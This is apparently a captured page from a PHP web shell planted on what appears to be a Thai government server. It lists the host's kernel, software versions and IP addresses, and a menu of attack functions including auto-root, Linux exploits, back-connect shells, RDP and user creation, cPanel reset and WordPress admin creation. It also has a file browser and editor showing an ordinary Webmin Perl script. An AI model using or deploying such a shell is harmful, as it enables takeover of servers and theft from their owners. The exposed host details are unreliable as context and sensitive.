Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
cluster-software /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
1.01
KB
-rw-r--r--
add.cgi
904
B
-rwxr-xr-x
close.cgi
272
B
-rwxr-xr-x
closeall.cgi
179
B
-rwxr-xr-x
cluster-software-lib.pl
9.51
KB
-rwxr-xr-x
compare.cgi
1.81
KB
-rwxr-xr-x
compare_form.cgi
1.13
KB
-rwxr-xr-x
config
25
B
-rw-r--r--
config.info
108
B
-rw-r--r--
config.info.ca
131
B
-rw-r--r--
config.info.ca.UTF-8
133
B
-rw-r--r--
config.info.cz
73
B
-rw-r--r--
config.info.cz.UTF-8
82
B
-rw-r--r--
config.info.de
129
B
-rw-r--r--
config.info.de.UTF-8
129
B
-rw-r--r--
config.info.es
106
B
-rw-r--r--
config.info.es.UTF-8
106
B
-rw-r--r--
config.info.fr
75
B
-rw-r--r--
config.info.fr.UTF-8
77
B
-rw-r--r--
config.info.hr
0
B
-rw-r--r--
config.info.ms_MY
131
B
-rw-r--r--
config.info.ms_MY.UTF-8
131
B
-rw-r--r--
config.info.nl
130
B
-rw-r--r--
config.info.nl.UTF-8
130
B
-rw-r--r--
config.info.no
133
B
-rw-r--r--
config.info.no.UTF-8
133
B
-rw-r--r--
config.info.pl
118
B
-rw-r--r--
config.info.pl.UTF-8
121
B
-rw-r--r--
defaultacl
6
B
-rw-r--r--
delete_host.cgi
254
B
-rwxr-xr-x
delete_pack.cgi
3.15
KB
-rwxr-xr-x
delete_packs.cgi
2.86
KB
-rwxr-xr-x
do_install.cgi
7.11
KB
-rwxr-xr-x
do_install_serial.cgi
3.55
KB
-rwxr-xr-x
edit_host.cgi
3.84
KB
-rwxr-xr-x
edit_pack.cgi
3.33
KB
-rwxr-xr-x
index.cgi
4.87
KB
-rwxr-xr-x
install_pack.cgi
4.82
KB
-rwxr-xr-x
list_pack.cgi
2.28
KB
-rwxr-xr-x
module.info
427
B
-rw-r--r--
module.info.ca
151
B
-rw-r--r--
module.info.ca.UTF-8
167
B
-rw-r--r--
module.info.cz
37
B
-rw-r--r--
module.info.cz.UTF-8
46
B
-rw-r--r--
module.info.de
137
B
-rw-r--r--
module.info.de.UTF-8
149
B
-rw-r--r--
module.info.es
39
B
-rw-r--r--
module.info.es.UTF-8
45
B
-rw-r--r--
module.info.fr
41
B
-rw-r--r--
module.info.fr.UTF-8
47
B
-rw-r--r--
module.info.hu
33
B
-rw-r--r--
module.info.hu.UTF-8
39
B
-rw-r--r--
module.info.ms_MY
125
B
-rw-r--r--
module.info.ms_MY.UTF-8
137
B
-rw-r--r--
module.info.nl
35
B
-rw-r--r--
module.info.nl.UTF-8
41
B
-rw-r--r--
module.info.no
35
B
-rw-r--r--
module.info.no.UTF-8
41
B
-rw-r--r--
module.info.pl
129
B
-rw-r--r--
module.info.pl.UTF-8
144
B
-rw-r--r--
open.cgi
250
B
-rwxr-xr-x
openall.cgi
427
B
-rwxr-xr-x
refresh.cgi
1.61
KB
-rwxr-xr-x
search.cgi
1.92
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : delete_packs.cgi
#!/usr/bin/perl # Ask if the user wants to delete multiple packages, and if so do it require './cluster-software-lib.pl'; &ReadParse(); &error_setup($text{'deletes_err'}); # Find the specified hosts @servers = &list_servers(); @hosts = &list_software_hosts(); if ($in{'server'} >= 0) { @hosts = grep { $_->{'id'} eq $in{'server'} } @hosts; } @got = map { &host_to_server($_) } @hosts; # Find the packages for each host @packs = split(/\0/, $in{'del'}); foreach $p (@packs) { foreach $h (@hosts) { ($pkg) = grep { $_->{'name'} eq $p } @{$h->{'packages'}}; if ($pkg) { push(@{$pkghosts{$h->{'id'}}}, $p); $pkgmap{$h->{'id'},$p} = 1; $found++; } } } $found || &error($text{'deletes_enone'}); &ui_print_header(undef, $text{'deletes_title'}, "", undef); if ($in{'sure'}) { # do the deletion print "<b>",&text('deletes_desc', "<tt>".join(" ", @packs)."</tt>"), "</b><p>\n"; &remote_multi_callback(\@got, $parallel_max, \&deletes_callback, undef, \@rvs, \@errs, "software", "software-lib.pl"); # Show the results $p = 0; foreach $h (@hosts) { $g = &host_to_server($h); local $d = $g->{'desc'} ? $g->{'desc'} : $g->{'host'}; if ($errs[$p] || $rvs[$p]) { print &text('delete_error', $d, $errs[$p] || $rvs[$p]),"<br>\n"; } else { print &text('delete_success', $d),"<br>\n"; local @newpacks = grep { !$pkgmap{$h->{'id'},$_->{'name'}} } @{$h->{'packages'}}; $h->{'packages'} = \@newpacks; &save_software_host($h); } $p++; } print "<p><b>$text{'delete_done'}</b><p>\n"; &webmin_log("deletes", "package", undef, { 'packs' => \@packs }); } else { # Ask if the user is sure.. print "<center>\n"; print &text('deletes_rusure', "<tt>".join(" ", @packs)."</tt>"), "<p>\n"; print "<form action=delete_packs.cgi>\n"; foreach $d (@packs) { print "<input type=hidden name=del value='$d'>\n"; } print "<input type=hidden name=sure value=1>\n"; print "<input type=hidden name=server value=$in{'server'}>\n"; print "<input type=hidden name=search value=\"$in{'search'}\">\n"; print "<input type=submit value=\"$text{'deletes_ok'}\"><p>\n"; if (defined(&software::delete_options) && &same_package_system($hosts[0])) { &software::delete_options($packs[0]); } print "</center></form>\n"; } &ui_print_footer("search.cgi?search=$in{'search'}", $text{'search_return'}); # deletes_callback(&server) sub deletes_callback { local ($serv) = @_; local @pkgs = @{$pkghosts{$serv->{'id'}}}; if (defined(&software::delete_packages)) { # Use single delete function $error = &remote_foreign_call($serv->{'host'}, "software", "delete_packages", \@pkgs, \%in); } else { # Call delete function once per package local @errors; foreach my $p (@pkgs) { local $oneerror = &remote_foreign_call($serv->{'host'}, "software", "delete_package", $p, \%in); push(@errors, $oneerror) if ($oneerror); } $error = join(" ", @errors); } return $error; }
Close
